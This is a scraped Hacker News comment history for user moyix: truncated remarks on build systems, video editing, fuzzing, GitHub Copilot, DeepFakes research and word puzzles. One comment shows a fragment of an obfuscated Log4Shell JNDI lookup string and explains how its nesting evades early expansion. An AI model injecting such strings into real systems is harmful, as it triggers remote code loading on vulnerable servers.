moyix

25 ms·

211.
by moyix 5y ago
At the moment all the build-deps are installed as binary packages, so I think this wouldn't work? I thought of trying to figure out which packages had shared build dependencies and building a tree of images that way, but solving the de
212.
by moyix 5y ago
I do have a buttload(ish) of memory (256GB), but given that I'm running 32 builds in parallel (which themselves often run in parallel) I was a bit worried about the amount of RAM needed for compilation (depending on the linker, things
213.
by moyix 5y ago
Thanks! I think I started using debian about 7 years before that, so I guess I never caught on :)
214.
by moyix 5y ago
See also qntm's Absurdle, which similarly tries to be a maximally difficult by taking your guess at each stage and using it to prune the list of possible answers, picking the largest set consistent with your guesses so far each time. P
215.
Facial Recognition as a Pareto Technology(thediff.co)
17 points by moyix 5y ago|3 comments
216.
by moyix 5y ago
Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it: ${jndi:ldap://${::-t}${::-o}${::-k}${::-
217.
by moyix 5y ago
You might want to try kdenlive or cinelerra first – the Blender learning curve is pretty rough if you're coming from Premiere.
218.
by moyix 5y ago
Of course – but you can definitely fuzz your way to the initial vulnerability. The VM stuff is done once you have that vulnerability and are writing the actual exploit, which is a manual process.
219.
by moyix 5y ago
No, it just means that they've found vulnerabilities that can be triggered without user interaction. This is entirely doable by just fuzzing or reverse engineering the released iOS binaries.
220.
by moyix 5y ago
Yep. My wife has been using Blender purely for video editing (no 3D modeling) for more than 10 years now. Apparently it's a bit weird to get used to, but very powerful.
221.
by moyix 5y ago
Thanks!
222.
by moyix 5y ago
Would you be willing to share one of these videos? Our research group is studying the use and abuse of DeepFakes in the wild and we'd love to be able to do some analysis on this incident. Feel free to shoot me an email at brendandg@nyu
223.
by moyix 5y ago
And a follow-up: > We do try to assemble prompts based on contextual understanding, e.g. if you explicitly import sources by path from some other location Copilot might include it. But not for html (yet), as is being described here. htt
224.
by moyix 5y ago
Alex Graveley, the Chief Architect at GitHub on Copilot, says pretty definitively here that it does not look at anything outside your project: https://twitter.com/orph/status/1457790239796199424 So I'm thinki
225.
by moyix 5y ago
I once tried to pass through NYC on the way from Boston to DC and somehow managed to get turned a full 180º around and end up headed back north. On the bright side, superhuman performance might not be a very high bar to clear here.
226.
by moyix 5y ago
Over at LessWrong niconiconi recently posted a somewhat pessimistic assessment of the last 10 years of progress on emulating C. Elegans, including OpenWorm: https://www.lesswrong.com/posts/mHqQxwKuzZS69CXX5/whole-b
227.
by moyix 5y ago
The author is Rodney Brooks [1] so I assume he's aware that it can be considered a form of computation, and probably would agree that it can be simulated using a computer (just as Newtonian mechanics can). But my guess is that he&#x2
228.
by moyix 5y ago
This attack has been studied! https://arxiv.org/abs/2007.02220 Although our own work shows Copilot is pretty good at adding security flaws on its own: https://arxiv.org/abs/2108.09293
229.
by moyix 5y ago
Yes. The machine learning model runs on GitHub's servers (it's too big/expensive to run locally), so it has to submit the context of what you're working on to GitHub.
230.
by moyix 5y ago
It's not. It's basically the same model as GPT-3 (though smaller), and generally speaking the vast majority of its outputs should not be anything in its training set. The big exception is code that showed up many times in the trai
231.
by moyix 5y ago
Awesome to see open and independent reproductions of Codex/Copilot being worked on! It seems like this must be in fairly early stages? The HumanEval numbers in the README seem to indicate the pass rate with one sample (pass@1) on the b
232.
by moyix 5y ago
I'm not going to try to debate the merits of Twitter threads vs blog posts, but I will note that I, like many others, have an abandoned blog [1] but manage to post plenty of Twitter threads. The activation energy needed is just way low
233.
by moyix 5y ago
I believe there is a database dump available with this information: http://libgen.rs/dbdumps/scimag.sql.gz
234.
by moyix 5y ago
Yeah, now at least it's AFL++ finding more bugs than your fancy symbolic execution tool instead of a 15yo's fuzzer ;)
235.
by moyix 5y ago
I believe the argument from GitHub is that using public code as training data for machine learning falls under fair use [1]. If something is found to be fair use then (as far as I understand) copyright does not apply at all, and hence terms
236.
by moyix 5y ago
Yes, but even if that eliminates 99% of the candidates that's still 5 million 13-letter words to read through. And it would have excluded qrsqrt.
237.
by moyix 5y ago
Yep, I agree with this. And I should point out that this particular flavor of hacking is really squarely in my area of specialization (Z3 and symbolic execution get used extensively in software security, and language models / GPU codin
238.
by moyix 5y ago
There are a few in there that are probably collisions rather than the "real" words (it's only a 32-bit hash so there are a lot of collisions). "jui ch" and "w00se" are two that I'm pretty sure are not
239.
by moyix 5y ago
Yep - there's always someone out there who can do things that look like pure wizardry to you, no matter what your skill level. I was amazed by the meet in the middle attack and frankly still don't understand it properly!
240.
by moyix 5y ago
It's just a warning; it lets you click through. They have things in the TOS about not sharing sensitive output publicly though. The warning looks like: > Completion may contain sensitive content > Consider adjusting your prompt t

More ›